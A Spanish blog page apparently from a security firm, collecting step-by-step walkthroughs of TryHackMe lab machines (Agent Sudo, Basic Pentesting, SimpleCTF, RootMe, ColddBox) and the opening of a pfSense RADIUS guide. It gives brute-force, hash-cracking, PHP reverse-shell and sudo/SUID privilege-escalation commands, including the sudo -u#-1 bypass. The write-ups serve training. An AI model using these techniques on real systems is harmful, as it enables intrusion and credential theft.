Resolución máquina TryHackMe Agent Sudo paso a paso

Resolución máquina TryHackMe Agent Sudo paso a paso

En este manual, te guiaré a través de los pasos básicos del pentesting utilizando la máquina TryHackMe Agent Sudo. A lo largo del proceso, te explicaré el propósito de cada herramienta utilizada y describiré el significado de cada flag o opción utilizada en los comandos. Sigue las instrucciones cuidadosamente para obtener resultados exitosos.

Paso 1: Escaneo de Puertos

Para comenzar, creamos un directorio con el nombre de la máquina y agregamos la dirección IP al archivo de hosts:

mkdir maquina
echo "ipmaquina  xxxxxx" >> /etc/hosts

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina:

nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_agentsudo

En este caso, encontramos que los puertos 21, 22 y 80 están abiertos.

Paso 2: Inspección de la Web

Ahora procederemos a inspeccionar la página web. Utilizaremos Burp Suite para descifrar el nombre de usuario. Sigue estos pasos:

Abre Burp Suite y cambia el User-Agent:XXXXXX a User-Agent:C, dale boton derecho y le damos send to repeater, vamos a la pestaña Repeater y damos a Follow Redirection

  1. Veras la parte derecha el nuevo texto.
  2. Identifica un nombre de usuario y una indicación de que su contraseña es débil.
Captura De Pantalla 2023 06 01 A Las 17.16.15
Captura De Pantalla 2023 06 01 A Las 17.16.30
Captura De Pantalla 2023 06 01 A Las 17.19.03

Paso 3: Obtención de Contraseña de Usuario

Usaremos Hydra para obtener la contraseña del usuario encontrado. Ejecuta el siguiente comando:

hydra -l chris -P /ruta/diccionario.txt ipmaquina ftp

Este comando intentará encontrar la contraseña del usuario «chris» utilizando un diccionario de contraseñas.

Captura De Pantalla 2023 06 01 A Las 17.23.32

Paso 4: Descarga de Archivos del FTP

Ahora, descargaremos todos los archivos del servidor FTP a nuestra máquina local utilizando el comando «get» de FTP. Ejecuta lo siguiente:

ftp ipmaquina
get *

Esto descargará todos los archivos presentes en el servidor FTP.

Captura De Pantalla 2023 06 01 A Las 17.32.47

Paso 5: Inspección de Archivos Descargados

Según la información recibida, hay un archivo zip protegido con contraseña entre los archivos descargados. Realizaremos las siguientes acciones:

  1. Utilizaremos «binwalk» para analizar el archivo «cutie.png» y extraer su contenido:
binwalk cutie.png -e --run-as=root
Sin Titulo 1
  1. Usaremos «john» para descifrar la contraseña del archivo .zip utilizando un diccionario de contraseñas:
zip2john 8702.zip > hash.txt
john --wordlist=/ruta/diccionario.txt hash.txt
Captura De Pantalla 2023 06 01 A Las 17.53.08
Captura De Pantalla 2023 06 01 A Las 17.56.22
  1. Extraemos el archivo .zip utilizando el comando «7z»:
7z x 8702.zip

Paso 6: Decodificación de Contenido

Una vez extraído el archivo .zip, encontramos un archivo de texto con parte del contenido codificado en base64. Utilizaremos el siguiente comando para decodificarlo:

cat 'texto' | base64 -d; echo

Esto nos proporcionará otra contraseña.

Paso 7: Descompresión de Otra Imagen

Ahora, utilizaremos la herramienta «steghide» para extraer el contenido de otra imagen. Ejecuta el siguiente comando:

steghide extract -sf cutie-alien.jpg

Luego, lee el archivo resultante y encontrarás una nueva contraseña.

Captura De Pantalla 2023 06 01 A Las 18.09.36

Paso 8: Acceso SSH y Escalamiento de Privilegios

Utilizando las credenciales obtenidas, podemos acceder a la máquina a través de SSH con el nuevo usuario y contraseña. Captura la bandera y luego, en otro terminal, descarga la imagen utilizando «scp»:

scp james@ipmaquina:Alien_autospy.jpg /ruta/directorio/trabajo

Realiza una búsqueda de la imagen en Google utilizando la función de búsqueda de imágenes inversa y busca en la página de Fox News.

Dentro de SSH, ejecuta el siguiente comando para verificar los permisos del usuario:

sudo -l

Encuentra una vulnerabilidad en (ALL, !root) /bin/bash. Investiga en línea para encontrar una posible explotación.

Captura De Pantalla 2023 06 01 A Las 18.36.32

Encuentra un script en https://github.com/n0w4n/CVE-2019-14287 y crea un archivo llamado «sudo.sh» en el servidor con su contenido. Luego, ejecuta el script con el siguiente comando:

bash sudo.sh

Con esto, obtendrás acceso de root y podrás buscar la última bandera. ¡Máquina hackeada!

Captura De Pantalla 2023 06 01 A Las 18.46.11

También tenemos otra forma de escalar privilegios que es mediante la ejecución del comando sudo -u#-1 /bin/bash yo esta forma la realice a posteriori, ya que en vez de poner este comando puse sudo -u#1 /bin/bash y me llevaba al usuario daemon.

Captura De Pantalla 2023 06 01 A Las 18.55.34

Resumen:

En este manual, hemos llevado a cabo una prueba de penetración en la máquina TryHackMe Agent Sudo. A través de la inspección de la web, obtuvimos un nombre de usuario y una contraseña débil. Descargamos archivos del servidor FTP y encontramos un archivo .zip protegido con contraseña. Utilizando diversas herramientas, desciframos la contraseña del .zip, extrajimos su contenido y descubrimos otra contraseña. A través de SSH, accedimos a la máquina con nuevas credenciales y finalmente escalamos privilegios utilizando una vulnerabilidad en sudo. Como resultado, logramos obtener acceso de root y completamos la prueba de penetración.

¡No dudes en ponerte en contacto con DCSeguridad para obtener más información sobre seguridad y unirte a nuestro canal de Telegram!

Resolución máquina TryHackMe Agent Sudo paso a paso

Manual resolución máquina Basic Pentesting Try Hack Me

En este manual de pentesting, aprenderás los pasos necesarios para resolver la máquina Basic Pentesting Try Hack Me. A través de este proceso, exploraremos cómo escanear puertos abiertos, enumerar directorios y usuarios, realizar ataques de fuerza bruta y obtener acceso a la máquina objetivo con privilegios adicionales mediante la búsqueda y descifrado de claves y contraseñas.

Parte 1: Preparación y escaneo de puertos

  1. Crea una carpeta en el escritorio con el nombre de la máquina para organizar los archivos necesarios. Esta recomendación es para mantener ordenado y tener fácil acceso a los archivos utilizados durante el pentesting.
  2. Realiza un escaneo de puertos utilizando nmap con el siguiente comando:
   nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_basic_pentesting
  • Explicación del comando:
    • -p- escanea todos los puertos.
    • --open muestra solo los puertos abiertos.
    • -sC ejecuta scripts de enumeración y detección de servicios.
    • -sV detecta las versiones de los servicios.
    • -sS realiza un escaneo TCP SYN.
    • --min-rate 5000 establece la tasa mínima de paquetes enviados.
    • -vvv muestra una salida detallada.
    • -n no realiza resolución DNS.
    • -Pn ignora el descubrimiento de hosts y trata todas las direcciones IP como en línea.
    • ipmaquina es la dirección IP de la máquina a escanear.
    • -oN nmap_basic_pentesting guarda la salida en un archivo llamado «nmap_basic_pentesting».
  • El resultado del escaneo muestra los puertos abiertos y los servicios detectados.
Captura De Pantalla 2023 05 29 A Las 20.50.26

Parte 2: Enumeración de directorios y usuarios

  1. Utiliza la herramienta Dirb para enumerar los directorios visibles en el servidor web:
   dirb http://ipmaquina:80
  • Este comando realiza un escaneo de directorios y muestra los directorios encontrados.
Captura De Pantalla 2023 05 29 A Las 20.48.46
  1. Para encontrar usuarios, aprovechando que SMB está disponible, ejecuta el siguiente comando:
   enum4linux -a ipmaquina
  • enum4linux - smb es una herramienta que enumera información de SMB en una máquina.
  • -a muestra información adicional.
  • ipmaquina es la dirección IP de la máquina a enumerar.
Captura De Pantalla 2023 05 29 A Las 20.55.30
  1. Realiza un ataque de fuerza bruta a través de SSH para descubrir la contraseña del usuario «jan»:
   hydra -l jan -P /ruta/diccionario.txt ipmaquina ssh
  • hydra es una herramienta de fuerza bruta que intenta adivinar contraseñas.
  • -l jan especifica el usuario objetivo.
  • -P /ruta/diccionario.txt indica la ruta del diccionario de contraseñas a utilizar.
  • ipmaquina es la dirección IP de la máquina objetivo.
Captura De Pantalla 2023 05 29 A Las 21.06.04

Parte 3: Acceso a la máquina y escalada de privilegios

  1. Accede a la máquina mediante SSH utilizando el usuario «jan» y la contraseña descubierta:
   ssh jan@ipmaquina
Basic Pentesting Try Hack Me
  1. Enumera los directorios en la máquina para buscar información adicional:
   ls -l
  1. Encuentra el archivo «pass.bak» en el directorio de «kay», pero no tienes acceso a él en este momento.
  2. Para obtener acceso a la máquina como el usuario «kay», realiza los siguientes pasos: a. Navega al directorio «.ssh»: cd .ssh b. Muestra el contenido del archivo «id_rsa»: cat id_rsa
    • Este archivo contiene la clave privada de «kay» que utilizaremos más adelante.
    c. Copia la clave privada y pégala en un archivo en tu directorio de trabajo local llamado «rsa_kay.txt».
  3. Utiliza la herramienta John the Ripper para desencriptar la clave privada de «kay»: a. Convierte el formato del archivo «rsa_kay.txt» utilizando el script «ssh2john.py»: python3 /usr/share/john/ssh2john.py rsa_kay.txt > rsa_kay_desencriptado.txt b. Ejecuta John the Ripper con el siguiente comando: john --wordlist=rockyou.txt rsa_kay_desencriptado.txt
Captura De Pantalla 2023 05 29 A Las 21.37.14
  1. Accede nuevamente por SSH al usuario «kay» utilizando la clave privada desencriptada: ssh -i /home/kay/.ssh/id_rsa [email protected]
  2. Ahora tienes acceso al usuario «kay». Encuentra la última bandera disponible en el archivo «pass.bak».
Captura De Pantalla 2023 05 29 A Las 21.45.14

En resumen, este manual de pentesting cubre los pasos necesarios para escanear los puertos abiertos, enumerar directorios y usuarios, realizar ataques de fuerza bruta, acceder a la máquina con los usuarios descubiertos y obtener privilegios adicionales mediante el descubrimiento de claves y contraseñas. Cada comando utilizado desempeña un papel específico en el proceso de pentesting, desde la recopilación de información hasta la escalada de privilegios.

¡Únete a DCSeguridad y protege el mundo digital!

DCSeguridad es una empresa líder en el campo de la ciberseguridad, dedicada a proteger los sistemas y datos de sus clientes contra las amenazas cada vez más sofisticadas en el mundo digital. Si estás interesado en formar parte de este apasionante mundo de la ciberseguridad y contribuir a la protección de la información confidencial, ¡te invitamos a unirte a nosotros!

Nuestro equipo de expertos en seguridad informática está comprometido en brindar soluciones efectivas y personalizadas a nuestros clientes, garantizando la confidencialidad, integridad y disponibilidad de sus datos. Trabajamos estrechamente con organizaciones de diferentes sectores, desde pequeñas empresas hasta grandes corporaciones, ofreciendo servicios de auditoría, consultoría y respuesta a incidentes, entre otros.

¿Quieres estar al tanto de las últimas noticias y tendencias en ciberseguridad? ¡No busques más! Te invitamos a unirte a nuestro canal de Telegram, donde compartimos contenido exclusivo, consejos de seguridad, noticias relevantes y oportunidades de empleo en el campo de la ciberseguridad. Nuestro canal es una comunidad activa donde podrás interactuar con otros profesionales y entusiastas de la ciberseguridad, aprender de sus experiencias y compartir tus conocimientos.

¡No te pierdas la oportunidad de formar parte de nuestra comunidad en Telegram! Juntos, podemos hacer del mundo digital un lugar más seguro. ¡Te esperamos en DCSeguridad!

Resolución máquina TryHackMe Agent Sudo paso a paso

Resolución Máquina SimpleCTF Try Hack Me. Pentesting Básico

En este manual, te guiaré a través de los pasos básicos para realizar un pentesting utilizando la máquina SimpleCTF Try Hack Me. Aprenderás las herramientas y técnicas necesarias para identificar vulnerabilidades y explotarlas.

Paso 1: Crear directorio de trabajo y añadir host

Para empezar, crea un directorio para trabajar y añade la dirección IP del objetivo para facilitar algunas tareas posteriores.

Paso 2: Escaneo de puertos y detección de servicios

Utilizaremos la herramienta nmap para escanear los puertos y descubrir los servicios en la máquina objetivo. Ejecuta el siguiente comando:

nmap -T4 -sC -sV -sC -Pn -oN nmap_nombrmaquina ipmaquina --script vuln

Explicación de las opciones utilizadas:

  • -T4: Establece la velocidad de escaneo en rápida.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta la versión de los servicios en los puertos abiertos.
  • -Pn: Ignora el descubrimiento de hosts y realiza el escaneo directamente.
  • -oN: Guarda la salida en un archivo en formato normal.
  • --script vuln: Esta opción activa la ejecución de scripts de detección de vulnerabilidades incluidos en la base de datos de scripts de nmap. Estos scripts están diseñados para identificar posibles vulnerabilidades en los servicios y aplicaciones que se encuentran en los puertos abiertos. Al utilizar la opción --script vuln, nmap ejecutará una serie de scripts específicos para buscar posibles vulnerabilidades conocidas en los servicios detectados. Estos scripts analizan los banners y respuestas de los servicios para identificar comportamientos o patrones que puedan indicar la existencia de una vulnerabilidad. Es importante tener en cuenta que los scripts de detección de vulnerabilidades de nmap son una herramienta útil para identificar posibles problemas de seguridad en una máquina objetivo. Sin embargo, la detección de vulnerabilidades no garantiza la explotación exitosa de las mismas. Es necesario realizar una evaluación adicional y utilizar herramientas especializadas para confirmar y explotar las vulnerabilidades encontradas. Al utilizar la opción --script vuln, estarás ampliando la cobertura de tu escaneo de seguridad para buscar activamente posibles vulnerabilidades en los servicios de la máquina objetivo. Esto te proporcionará información valiosa para tomar medidas y fortalecer la seguridad de la infraestructura.
SimpleCTF Try Hack Me

Paso 3: Descubrimiento de directorios

Para encontrar posibles directorios ocultos en el sitio web, usaremos la herramienta dirb. Ejecuta el siguiente comando:

dirb http://ipmaquina:80

Paso 4: Descubrimiento del directorio /simple

Al utilizar dirb en el paso anterior, hemos descubierto un directorio llamado «/simple» en el sitio web. Accede a él mediante el siguiente enlace: http://ipmaquina/simple.

Paso 5: Identificación del CMS y búsqueda de vulnerabilidades

Al acceder al directorio «/simple», observamos que se utiliza el CMS Made Simple versión 2.2.8. Ahora, buscamos posibles vulnerabilidades en este CMS.

Hay dos opciones para encontrar exploits:

  1. Ejecutar el comando searchsploit cms made simple 2.2.8 para buscar en la lista de exploits disponibles.
  2. Buscar la vulnerabilidad CVE-2019-9053 en motores de búsqueda como Google, GitHub o Exploit-DB. En este caso, encontramos un exploit en GitHub.
Captura De Pantalla 2023 05 30 A Las 18.56.39

Paso 6: Clonar el exploit de GitHub

Para evitar problemas de compatibilidad con la versión de Python 3, clonaremos el exploit de GitHub en nuestro directorio de trabajo. Ejecuta el siguiente comando:

git clone https://github.com/e-renna/CVE-2019-9053.git

Paso 7: Acceder a la carpeta del exploit

Ingresa al directorio «CVE-2019-9053» que se ha creado después de clonar el exploit.

Paso 8: Asignar permisos de ejecución al exploit

Antes de ejecutar el exploit, asegurémonos de que tenga todos los permisos necesarios. Ejecuta el siguiente comando:

chmod 777 exploit.py

Paso 9: Instalar termcolor

Si no tienes instalado el paquete «termcolor», debes instalarlo para evitar errores al ejecutar el exploit. Utiliza el siguiente comando:

pip install termcolor

Paso 10: Ejecutar el exploit

Ahora, estamos listos para ejecutar el exploit. Utiliza el siguiente comando:

python3 exploit.py -u http://url/simple --crack -w /ruta/diccionario.txt

Explicación de las opciones utilizadas:

  • -u: Especifica la URL del sitio web vulnerable.
  • --crack: Realiza una prueba de fuerza bruta utilizando un diccionario de contraseñas.
  • -w: Especifica la ruta al archivo de diccionario de contraseñas.

Paso 11: Acceso mediante SSH

Después de ejecutar el exploit, obtendrás el usuario y la contraseña. Ahora, puedes acceder a la máquina objetivo mediante SSH utilizando el siguiente comando:

ssh usuario@ipmaquina -p 2222

Paso 12: Escalada de privilegios

Una vez dentro de la máquina, verifica los privilegios disponibles ejecutando sudo -l. Si encuentras la opción de escalar privilegios utilizando /usr/bin/vim, puedes buscar el método exacto en el sitio web https://gtfobins.github.io/.

Por ejemplo, si puedes ejecutar sudo vim -c ':!/bin/sh', podrás escalar a la cuenta de root.

Captura De Pantalla 2023 05 30 A Las 21.10.11

Resumen de los pasos seguidos

En este pentesting, realizamos los siguientes pasos:

  1. Escaneo de puertos y detección de servicios utilizando nmap.
  2. Descubrimiento de directorios ocultos utilizando dirb.
  3. Identificación del CMS y búsqueda de vulnerabilidades.
  4. Clonación del exploit de GitHub.
  5. Ejecución del exploit para obtener acceso al sitio web.
  6. Acceso a la máquina mediante SSH utilizando las credenciales obtenidas.
  7. Escalada de privilegios utilizando el exploit específico para la máquina objetivo.

Hemos trabajado en una máquina Linux, que presentaba vulnerabilidades en el CMS Made Simple versión 2.2.8. A través de pasos cuidadosos de escaneo, descubrimiento y explotación, logramos obtener acceso a la máquina y escalar nuestros privilegios.

Confía en DCSeguridad

Si estás interesado en aprender más sobre seguridad informática y pentesting, te animo a ponerte en contacto con nuestra empresa DCSeguridad. Estamos dedicados a brindar servicios de seguridad de alta calidad y también ofrecemos un canal de Telegram donde compartimos información valiosa y consejos sobre seguridad.

¡Únete a nosotros y fortalece tus habilidades en el emocionante mundo del pentesting!

Espero que este manual te sea útil en tu aprendizaje de pentesting. Recuerda siempre realizar pruebas de penetración de manera ética y respetar la privacidad de los sistemas y redes que analices. ¡Buena suerte en tu camino hacia convertirte en un experto en seguridad!

Manual Máquina RootMe de TryHackMe. Pentesting Básico

Manual Máquina RootMe de TryHackMe. Pentesting Básico

¡Bienvenido al manual de Pentesting para principiantes! En este manual, te guiaré a través de los pasos necesarios para realizar un pentesting en la máquina RootMe de TryHackMe. Aprenderás los conceptos básicos y las herramientas clave utilizadas en el pentesting. ¡Comencemos!

Requisitos previos:

  • Conocimientos básicos de Linux y línea de comandos.
  • Entorno de trabajo configurado con las herramientas necesarias.
Rootme De Tryhackme

Paso 1: Crear directorio de trabajo

Para mantener todos los documentos organizados y accesibles, crea un directorio en tu escritorio llamado «RootMe» o cualquier otro nombre que prefieras. Este directorio será tu ubicación central para almacenar todos los archivos utilizados durante el pentesting.

Paso 2: Configurar el archivo hosts

Es recomendable agregar una entrada en el archivo hosts para facilitar la identificación de la máquina objetivo. Abre el archivo hosts (ubicado en /etc/hosts en Linux o C:\Windows\System32\drivers\etc\hosts en Windows) y agrega la siguiente línea:

ip_máquina rootme.thm

Reemplaza «ip_máquina» con la dirección IP real de la máquina RootMe.

Paso 3: Escaneo de puertos y detección de servicios en RootMe de TryHackMe

El primer paso en un pentesting es identificar los puertos abiertos y los servicios que se ejecutan en la máquina objetivo. Utilizaremos la herramienta Nmap para realizar esta tarea. Abre una terminal y ejecuta el siguiente comando:

nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ip_máquina -oN nmap_rootme

Este comando escaneará todos los puertos (-p-), buscará los puertos abiertos y los servicios asociados (-sV), ejecutará scripts de enumeración de servicios comunes (-sC), realizará un escaneo sigiloso (-sS), establecerá una velocidad mínima de envío de paquetes (--min-rate 5000), mostrará la información detallada (-vvv), utilizará direcciones IP en lugar de resolución de nombres (-n), y evitará la resolución de nombres (-Pn). El resultado se guardará en el archivo «nmap_rootme» en el directorio de trabajo.

Captura De Pantalla 2023 05 30 A Las 17.36.00

Paso 4: Análisis de resultados del escaneo

Después de completar el escaneo de puertos, analiza los resultados en el archivo «nmap_rootme». Identifica los puertos abiertos y los servicios correspondientes. En el caso de RootMe, los puertos 22 y 80 están abiertos.

Paso 5: Enumeración de directorios web

La enumeración de directorios web es un paso importante para descubrir posibles puntos de entrada. Utilizaremos la herramienta Gobuster para este propósito. Ejecuta el siguiente comando en la terminal:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -q -u ip_máquina

Este comando iniciará el escaneo de directorios con Gobuster, utilizando el archivo «directory-list-2.3-medium.txt» como lista de palabras para la búsqueda. La opción -t 100 indica el número de hilos utilizados para el escaneo (puedes ajustarlo según tus recursos). El parámetro -q se utiliza para el modo silencioso, y la opción -u especifica la URL de la máquina objetivo. Reemplaza «ip_máquina» con la dirección IP real de la máquina RootMe.

Captura De Pantalla 2023 05 30 A Las 17.35.10

Paso 6: Descubrimiento de directorio oculto

Durante la enumeración de directorios, es posible que encuentres directorios ocultos que no son fácilmente accesibles. En el caso de RootMe, se ha descubierto el directorio «/panel/».

Paso 7: Acceso al directorio oculto

Ahora, accedamos al directorio oculto «/panel/». A continuación, realizarás los siguientes pasos dentro del directorio:

  1. Crea un archivo PHP reverse shell con el nombre «php_reverse_shell.php» y cárgalo en el directorio. Asegúrate de cambiar la IP dentro del archivo por la IP de tu propia máquina. Si el servidor rechaza la carga de archivos PHP, cambia la extensión del archivo a «.phtml».
  2. Abre un netcat listener en tu máquina con el comando nc -nvlp 1234.
  3. Abre el archivo «php_reverse_shell.php» en el navegador de la máquina objetivo.
  4. ¡Ahora estás dentro de la máquina objetivo y puedes ejecutar comandos!
Captura De Pantalla 2023 05 30 A Las 17.33.43
Captura De Pantalla 2023 05 30 A Las 17.34.04

Paso 8: Escalada de privilegios en RootMe de TryHackMe

El siguiente paso es buscar posibles vulnerabilidades que nos permitan escalar privilegios en la máquina. Ejecuta el siguiente comando en la terminal:

Copy codefind / -perm -4000 2>/dev/null

Este comando buscará archivos con el bit SUID activado, lo que podría indicar posibles oportunidades de escalada de privilegios. En el caso de RootMe, se encuentra el directorio «/usr/bin/python» que puede ser utilizado para este propósito.

Paso 9: Exploración de binarios SUID

Utilizaremos la página web https://gtfobins.github.io/gtfobins/python/ para encontrar una forma de utilizar el binario SUID encontrado. Busca en la lista de binarios SUID y encuentra el acceso a Python.

Paso 10: Ejecución del comando de escalada de privilegios

Desde el directorio «/usr/bin/», ejecuta el siguiente comando:

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Este comando utilizará Python para ejecutar el shell /bin/sh con privilegios elevados. Ten en cuenta las instrucciones adicionales mencionadas en la página de GTFOBins, especialmente si la shell sh por defecto se ejecuta con privilegios SUID.

¡Felicidades! Ahora tienes privilegios de root en la máquina RootMe.

Captura De Pantalla 2023 05 30 A Las 17.34.29

Paso 11: Búsqueda de la bandera final RootMe de TryHackMe

Como último paso, busca la bandera final dentro de la máquina para completar el pentesting.

Resumen de pasos para la máquina RootMe de TryHackMe:

  1. Crea un directorio de trabajo en el escritorio.
  2. Configura el archivo hosts con la entrada correspondiente a la máquina RootMe.
  3. Escaneo de puertos y detección de servicios con Nmap.
  4. Analiza los resultados del escaneo de puertos para identificar los puertos abiertos.
  5. Enumera los directorios web utilizando Gobuster.
  6. Descubre directorios ocultos, como «/panel/».
  7. Accede al directorio oculto y realiza los pasos necesarios para cargar un PHP reverse shell y obtener acceso a la máquina objetivo.
  8. Realiza una búsqueda de binarios con el bit SUID activado para identificar posibles oportunidades de escalada de privilegios.
  9. Utiliza el binario SUID encontrado, en este caso «/usr/bin/python», y sigue las instrucciones de GTFOBins para ejecutar comandos con privilegios elevados.
  10. Busca la bandera final dentro de la máquina RootMe.

¡Únete a DCSeguridad!

DCSeguridad es una empresa de seguridad cibernética comprometida con la protección de tus sistemas. Si estás interesado en mejorar la seguridad de tu empresa y obtener servicios de pentesting y consultoría, te invitamos a ponerte en contacto con nosotros. Nuestro equipo de expertos está listo para ayudarte.

Además, te animamos a unirte a nuestro canal de Telegram, donde compartimos información actualizada sobre seguridad cibernética, consejos prácticos y noticias relevantes del campo. Únete a nuestra comunidad y mantente al tanto de las últimas tendencias y avances en el mundo de la seguridad.

¡DCSeguridad te acompaña en tu camino hacia una mayor protección y seguridad cibernética!

Resolución máquina TryHackMe Agent Sudo paso a paso

Resolución Máquina TryHackMe ColddBox: Easy Paso a Paso

Hoy os traemos Resolución Máquina TryHackMe ColddBox:Easy paso a paso, es una máquina sencilla, de las primeras que te propone la plataforma para iniciarse en el mundo del Hacking, corresponde a la parte de Pentesting WEB con una escalada de privilegios que nos permite varias maneras de realizarla.

Veremos cómo resolverla paso a paso, e intentado explicar cada uno de los pasos y que conseguimos con cada uno de ellos, la idea de esta guía es ayudarte a resolverla si tienes dudas, pero no a que la resuelvas únicamente por esta vía.

Resolución Máquina TryHackMe ColddBox

Escaneo con NMAP

El primer paso es realizar un escaneo de puertos utilizando NMAP para identificar los servicios y puertos abiertos en la máquina objetivo. El comando utilizado es el siguiente:

nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_ColddBox
Captura De Pantalla 2023 05 29 A Las 12.57.12

Explicación de los comandos:

  • -p-: Escanea todos los puertos.
  • --open: Muestra solo los puertos abiertos.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta las versiones de los servicios.
  • -sS: Realiza un escaneo TCP SYN.
  • --min-rate 5000: Establece la tasa mínima de paquetes de envío.
  • -vvv: Muestra un nivel detallado de verbosidad.
  • -n: No resuelve nombres de host.
  • -Pn: Ignora el descubrimiento de hosts y trata todas las direcciones IP como activas.
  • ipmaquina: Es la dirección IP de la máquina objetivo.
  • -oN nmap_ColddBox: Guarda los resultados del escaneo en un archivo llamado «nmap_ColddBox».

Identificación de servicios en los puertos

Una vez realizado el escaneo, se observa que los puertos 80 (http) y 4512 (ssh) están abiertos. Además, se identifican los siguientes servicios en esos puertos:

  1. Puerto 80: WordPress 4.1.31
  2. Puerto 4512: OpenSSH 7.2p2

Análisis de WordPress

Se observa que se encuentra publicado un sitio WordPress en el puerto 80 y que tanto el wp-admin como el archivo xmlrpc.php están accesibles.

Descubrimiento de directorios

Se realiza un escaneo de directorios utilizando la herramienta dirb en la URL mediante dirb http://ipmaquina:80 para encontrar otros directorios accesibles.

Resultados de dirb

El escaneo de dirb revela que los siguientes directorios son accesibles:

  1. wp-admin
  2. wp-content
  3. wp-includes
  4. xmlrpc.php

Debido a estos resultados, se decide realizar un escaneo más detallado utilizando la herramienta wpscan.

Análisis de WordPress con wpscan

Se utiliza el comando wpscan para obtener más información sobre el sitio WordPress en la máquina objetivo. El comando utilizado es el siguiente:

wpscan --url http://ipmaquina -e vp,u

Explicación de los comandos:

  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -e vp,u: Enumera los plugins instalados y los usuarios.

Se obtienen los siguientes resultados:

  1. Tema utilizado: twentyfifteen
  2. Usuarios encontrados: hugo, c0ldd, philip
Captura De Pantalla 2023 05 29 A Las 13.11.55

Fuerza bruta de contraseñas

Se intenta realizar un ataque de fuerza bruta a los usuarios encontrados utilizando el diccionario rockyou. El comando utilizado es:

wpscan --url http://ipmaquina -U hugo,c0ldd,philip -P /ruta/rockyou.txt
Explicación de los comandos:
  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -U hugo,c0ldd,philip: Especifica los usuarios a los que se les realizará el ataque de fuerza bruta.
  • -P /ruta/rockyou.txt: Especifica la ubicación del diccionario de contraseñas (rockyou.txt en este caso).
Captura De Pantalla 2023 05 29 A Las 13.27.07

Se encuentra la contraseña para el usuario c0ldd y se procede a acceder al sitio WordPress con este usuario. Al iniciar sesión, se observa que se ha obtenido el rol de administrador, lo que permite realizar un ataque de shell inverso PHP.

Preparación del ataque de shell inverso PHP

Se modifica el archivo 404.php del tema twentyfifteen para insertar el código necesario para un ataque de shell inverso PHP. El código utilizado se obtiene de https://github.com/pentestmonkey/php-reverse-shell. Debemos cambiar la parte donde pone $ip.

Captura De Pantalla 2023 05 29 A Las 13.26.10

Captura de tráfico con Netcat

Se lanza Netcat en modo de escucha para capturar el tráfico en el puerto 1234. El comando utilizado es el siguiente:

nc -nvlp 1234

Ejecución del ataque de shell inverso

Se accede a la URL http://ipmaquina/wp-content/themes/twentyfifteen/404.php desde el navegador para iniciar el ataque de shell inverso PHP y obtener acceso a la máquina objetivo.

Captura De Pantalla 2023 05 29 A Las 13.30.16

Obtención de la contraseña de usuario

Una vez dentro, ejecutamos el comando script /dev/null -c bash para obtener una shell interactiva.

Luego, se utiliza el comando cat /var/www/html/wp-config.php | grep «DB_PASSWORD» para ver la contraseña del usuario c0ldd.

Escalada de privilegios

Se utiliza el comando su c0ldd con la contraseña obtenida para cambiar al usuario c0ldd y así escalar privilegios, ahora debemos de buscar la primera bandera, user.txt, búscala y tienes la primera bandera localizada.

Comprobación de los permisos de sudo

Se ejecuta el comando sudo -l para verificar los permisos de sudo del usuario c0ldd. Se observa que tiene permisos de root para ejecutar /usr/bin/vim, /bin/chmod y /usr/bin/ftp.

Escalada de Privilegios

Ahora veremos las tres opciones de escalada de privilegios que nos permite realizar esta máquina.

Escalada de privilegios mediante FTP

Se ejecuta el comando sudo ftp para iniciar una sesión de FTP con privilegios de root. Una vez dentro, se ejecuta !/bin/sh para obtener una shell interactiva con privilegios de root.

Captura De Pantalla 2023 05 29 A Las 14.04.14

Una vez tengas la escalada de privilegios busca la siguiente bandera root.txt.

Escalada de privilegios a través de /usr/bin/vim

  1. Ejecuta el siguiente comando para utilizar Vim con privilegios de root:
sudo vim -c ':!/bin/sh'

Esto abrirá Vim y ejecutará un comando de shell para obtener una shell interactiva con privilegios de root.

Escalada de privilegios a través de /usr/bin/chmod

  1. Establece la variable LFILE con la ruta al archivo /etc/shadow:
LFILE=/etc/shadow
  1. Utiliza el siguiente comando para cambiar los permisos del archivo /etc/shadow:
bashCopy codesudo chmod 6777 $LFILE

Esto otorgará permisos de lectura, escritura y ejecución a todos los usuarios en el archivo /etc/shadow.

  1. Para verificar que la escalada de privilegios fue exitosa, puedes utilizar el siguiente comando para encontrar la línea correspondiente al usuario c0ldd en el archivo /etc/shadow:
cat /etc/shadow | grep c0ldd
  1. Abre el archivo /etc/shadow con el editor vi:
vi /etc/shadow

Esto te permitirá editar el archivo y realizar cambios si es necesario.

  1. Finalmente, puedes cambiar al usuario c0ldd utilizando el siguiente comando:
su -c0ldd

Reemplaza <c0ldd password> con la contraseña del usuario c0ldd.

Esto concluye el manual de pentesting basado en los pasos y comandos proporcionados. Recuerda que el uso de estas técnicas y herramientas debe ser legal y con el consentimiento explícito del propietario del sistema que estás evaluando.

Si deseas saber mas sobre nosotros no dudes en ponerte en contacto con nosotros así como te invitamos a unirte a nuestro canal de Telegram.

Integrar pfSense y Active Directory con RADIUS

Integrar pfSense y Active Directory con RADIUS

Hoy os traemos un pequeño manual para integrar pfSense y Active Directory de Windows Server, y así poder usar los usuarios del directorio activo, para conectarnos a la red OpenVPN de nuestro pfSense.

Hace unos días, os contamos como hacerlo mediante LDAP, aquí dejamos el artículo, y hoy lo implementaremos mediante RADIUS.

Para configurar la integración de PfSense con Active Directory, tenemos que realizar los siguientes pasos:

pfSense y Active Directory

Preparar Directorio activo de Windows:

Lo primero que debemos de hacer es preparar el Windows Server, para que podamos conectarnos mediante RADIUS desde nuestro firewall pfSense, para así, poder utilizar todos los usuarios que queramos para usar el OpenVPN del firewall con los usuarios del dominio, para ello, debemos de hacer lo siguiente:

  1. Crear un grupo de Seguridad «pfSense» para que agrupemos a los usuarios que van a poder logarse en nuestro PfSense.
  2. Añadir los usuarios al nuevo grupo creado, para que puedan conectarse a la VPN de nuestro firewall pfSense.
